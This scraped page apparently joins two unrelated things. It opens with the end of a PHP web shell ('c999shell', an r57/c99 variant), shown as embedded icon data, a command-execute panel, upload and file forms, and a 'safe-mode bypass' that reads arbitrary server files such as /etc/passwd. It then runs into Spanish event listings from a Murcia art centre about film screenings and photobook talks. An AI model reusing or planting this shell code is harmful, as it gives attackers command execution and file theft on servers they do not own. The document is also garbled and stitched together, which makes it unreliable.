"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", "sql_button_insert"=> "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", "up"=> "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", "write"=> "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", "ext_asp"=> "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", "ext_mp3"=> "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", "ext_avi"=> "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". "PYXCyg+V2i44XeRmSfYqsGhAAgA7", "ext_cgi"=> "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". "RYtMAgEAOw==", "ext_cmd"=> "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". "dmrYAMn1onq/YKpjvEgAADs=", "ext_cpp"=> "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". "Eq7YrLDE7a4SADs=", "ext_ini"=> "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". "SnEjgPVarHEHgrB43JvszsQEADs=", "ext_diz"=> "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". "Ow==", "ext_doc"=> "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", "ext_exe"=> "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". "xhIAOw==", "ext_h"=> "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". "Wq/NknbbSgAAOw==", "ext_hpp"=> "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". "UqUagnbLdZa+YFcCADs=", "ext_htaccess"=> "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". "AAA7", "ext_html"=> "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". "ADs=", "ext_jpg"=> "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". "FxEAOw==", "ext_js"=> "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". "a00AjYYBbc/o9HjNniUAADs=", "ext_lnk"=> "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". "ADs=", "ext_log"=> "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", "ext_php"=> "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", "ext_pl"=> "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", "ext_swf"=> "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", "ext_tar"=> "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". "u4tLAgEAOw==", "ext_txt"=> "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". "UpPWG3Ig6Hq/XmRjuZwkAAA7", "ext_wri"=> "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", "ext_xml"=> "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". "IQA7" ); //For simple size- and speed-optimization. $imgequals = array( "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), "ext_html"=>array("ext_html","ext_htm"), "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), "ext_lnk"=>array("ext_lnk","ext_url"), "ext_ini"=>array("ext_ini","ext_css","ext_inf"), "ext_doc"=>array("ext_doc","ext_dot"), "ext_js"=>array("ext_js","ext_vbs"), "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), "ext_wri"=>array("ext_wri","ext_rtf"), "ext_swf"=>array("ext_swf","ext_fla"), "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") ); if (!$getall) { header("Content-type: image/gif"); header("Cache-control: public"); header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7)); header("Last-Modified: ".date("r",filemtime(__FILE__))); foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} if (empty($images[$img])) {$img = "small_unk";} if (in_array($img,$ext_tar)) {$img = "ext_tar";} echo base64_decode($images[$img]); } else { foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
    ");}}}} natsort($images); $k = array_keys($images); echo "
    "; foreach ($k as $u) {echo $u.":
    ";} echo "
    "; } exit; } if ($act == "about") {echo "
    Credits:
    Idea, leading and coding by tristram[CCTeaM].
    Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].
    Thanks all who report bugs.
    All bugs send to tristram's ICQ #656555 .
    ";} ?>

    :: Command execute ::

    Enter:
     
    Select:
     

    :: Shadow's tricks :D ::

    Useful Commands
     
    Warning. Kernel may be alerted using higher levels
    Kernel Info:

    :: Preddy's tricks :D ::

    Php Safe-Mode Bypass (Read Files)

    File:

    eg: /etc/passwd
    Trying To Get File $get
    "; if(copy("compress.zlib://".$file, $temp)){ $fichier = fopen($temp, "r"); $action = fread($fichier, filesize($temp)); fclose($fichier); $source=htmlspecialchars($action); echo "
    Start $get

    $source

    Fin $get
    "; unlink($temp); } else { die("
    Sorry... File ".htmlspecialchars($file)." dosen't exists or you don't have access.
    "); } echo "
    "; } if(isset($_GET['file'])) { rsg_read(); } ?> $chemin
    "; foreach ($files as $filename) { echo "
    ";
       echo "$filename\n";
       echo "
    "; } } if(isset($_GET['directory'])) { rsg_glob(); } ?>
    Php Safe-Mode Bypass (List Directories):

    Dir:

    eg: /etc/

    :: Search ::
      - regexp 

    :: Upload ::
     

    :: Make Dir ::
     
    :: Make File ::
     

    :: Go Dir ::
     
    :: Go File ::
     

    --[ c999shell v. Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: ]--

    ]]>Fisuras fílmicas. Carlos Vermut. Proyecciónurn:uuid:ca380914-b7bc-56f8-9d0c-d5416843b96c2013-04-23T08:26:35Z DIAMOND FLASH (2011), DE CARLOS VERMUT

    Proyección: miércoles, 24 de abril de 2013 / 20.30h / Filmoteca Regional Francisco Rabal

    Carlos Vermut participará en un debate con el público tras la proyección.

    La Real Academia de la Lengua propone varias acepciones para definir el adjetivo «raro». Cuatro de ellas podrían resultar adecuadas para describir Diamond flash, el primer largometraje de Carlos Vermut (Madrid, 1980):
              
                1. Que se comporta de un modo inhabitual.
                2. Extraordinario, poco común o frecuente.
                3. Escaso en su clase o especie.
                4. Insigne, sobresaliente o excelente en su línea.
     
    Ciertamente no existen muchos ejemplos de este tipo de propuestas en el cine español contemporáneo. Ubicada entre la ficción más al uso –guión bien cerrado, montaje clásico de plano-contraplano– y la herencia de películas en las que el tiempo lento busca intensificar la complejidad psicológica de los personajes, Diamond flash nos adentra en un mundo en el que el sentido y la coherencia no son fruto de narrativas lineales, sino de fragmentos y retazos de realidad aparentemente disgregada. Si a esto sumamos la forma de abordar –lejos de cualquier perspectiva reduccionista– algunos de los problemas más candentes y mediáticos de nuestro tiempo (la violencia de género o la pedofilia), obtenemos una propuesta fílmica atrevida y singular.
     
    Diamond flash es al mismo tiempo una película pop y una película de arte y ensayo (por recurrir a dos conceptos ya vintage) en la que superhéroes españoles que comen fabada, escuchan a Rocío Jurado o leen la prensa los domingos, se enfrentan a villanos y villanas que habitan y sobreviven en ese mismo mundo. Pero lo más relevante en este primer largometraje «raro» de Carlos Vermut es el modo en que se articula y se presenta de manera constante uno de los grandes temas de nuestra tradición cultural: la dificultad de entender el Mal.
     
     

    ]]>
    Fisuras fílmicas. Carlos Vermut. Clase magistralurn:uuid:40e425a5-e569-5262-8b48-481c373f81e02013-04-20T12:33:28Z DIAMOND FLASH (2011), de CARLOS VERMUT

    Clase magistral: jueves, 25 de abril de 2013 / 19.30h / Cendeac (entrada gratuita)

    Carlos Vermut (Madrid, 1980) gana el premio Injuve de cómic en el año 2006 y publica su primer cómic en solitario, El banyán rojo (Ed. Dibbuks), que obtiene cuatro nominaciones en el 25º Saló de cómic de Barcelona. En los años posteriores dibuja Psicosoda (Ed. Dibbuks), recopilatorio de historias cortas y Plutón BRB Nero, la venganza de Maripili (Ed. Astiberri) comic basado en la serie de televisión de Alex de la Iglesia. En 2008, como Carlos L. del Rey, trabaja como creador de la serie de televisión Jelly JammGana la VII edición del Notodofilmfest y es nominado al Méliè d’or 2010 con su cortometrajeMaquetas que, además de varios galardones, recibe una buena acogida en diversos festivales de cine fantástico, como el Fantastic Fest de Austin o el festival de cine fantástico de Sitges. Tras Maquetas realiza Michirones (09). Diamond Flash es su primer largometraje.

    ]]>
    2nd session of the seminar factography: From Revolution to Mass Communications.urn:uuid:63671b90-d54f-5014-b20a-fb6f6b2383a52013-04-15T13:53:21Z Estas tres sesiones de trabajo se estructurarán como grupos de discusión y debate en torno a diferentes textos y materiales:

    Segundo día (16 de junio a las 19h. en la biblioteca del CENDEAC)

    Lectura realizada para debatir: Víctor del Río: Factografía. Vanguardia y comunicación de masas, Abada, Madrid, 2009. Capítulo 1 / Capítulo 10

    Tercer día:

    Lectura realizada para debatir: Benjamin H. D. Buchloh: “De la Faktura a la factografía”, en Formalismo e historicidad, Madrid, Akal, 2004.

    Visualización durante la sesión de la película de Dziga Vertov: El Hombre de la cámara, 1929.

    ]]>
    CONVERSACIONES EN TORNO AL FOTOLIBRO: ROGER GUAUSurn:uuid:c3f04473-1658-5b7c-b940-9a707af935af2013-03-15T13:53:52ZConferencias  

     

    Conversaciones en torno al fotolibro es un ciclo organizado por Cienojos en colaboración con el CENDEAC (Centro de Documentación y Estudios Avanzados de Arte Contemporáneo de la Región de Murcia). El propósito de este proyecto es explorar los nuevos lenguajes fotográficos empleados para la construcción de obras que van más allá de la fotografía y se sumergen en el mundo editorial: el fotolibro como una entidad artística y comunicativa completa e independiente.

    Para indagar en estos lenguajes, nos visitarán a lo largo del año diferentes autores y editores independientes que están jugando un papel crucial en la edición fotográfica de nuestro país. De forma paralela a las grandes editoriales de arte, arquitectura y fotografía, estos pequeños editores son mucho más libres para la experimentación y tienen un trato mucho más directo con el autor, por lo que es aquí donde hierve y evoluciona el concepto de fotolibro.

     

    ROGER GUAUS

    El trabajo de Roger Guaus (Barcelona, 1972) se mueve en torno a la experiencia personal íntima. Armado siempre con una cámara, fotografía todo lo que, de alguna manera, le conmueve. De esta forma, genera grandes cantidades de información visual en las que el proceso de edición cobra todo su sentido. Las narrativas fragmentadas, oscuras y poéticas se despliegan en su trabajo con una penetrante intención emocional y una plena libertad formal.

    Paris et moi (2005), Reeling (2006), Arles (2005-2007), Hunter Hunter (2005 -2008), Résidence Marseille (2009), Arrelat (2005 -?) y Movimientos de Suelo (2011, con Aleix Plademunt y Juan Diego Valera) son algunos de sus trabajos más relacionados con el diario íntimo. Por otra parte, Diario de un fotógrafo (2009-2010), El creyente (PES/01 Standard Illustrated Books, 2012) y Lo inalcanzable (Ca l'Isidret Edicions, 2012) son un paso más allá en el intento de trascender la ya más que reconocida fotografía del diario.

    Su obra se ha mostrado en diferentes galerías, festivales y ferias en Europa, Estados Unidos y América del Sur. Fue miembro del desaparecido Smoke Collective junto con otros seis fotógrafos europeos, con quienes mostró su trabajo en Francia, Bélgica, Alemania y Canadá. El año pasado, junto con Aleix Plademunt y Juan Diego Valera, crea la editorial Ca l'Isidret Edicions, que les sirve de plataforma para editar sus trabajos.

    Roger Guaus presentará el libro Lo inalcanzable y nos hablará de su experiencia en Smoke Collective, Standard Books y Ca L´Isidret Edicions.

     

    ]]>PHOTOCLUB BOOK MURCIAurn:uuid:39072b0c-295c-5672-b6dd-6245f674fadc2012-12-27T09:14:45ZGrupo de Trabajo  

    GRUPO DE TRABAJO PHOTOBOOK CLUB MURCIA

     

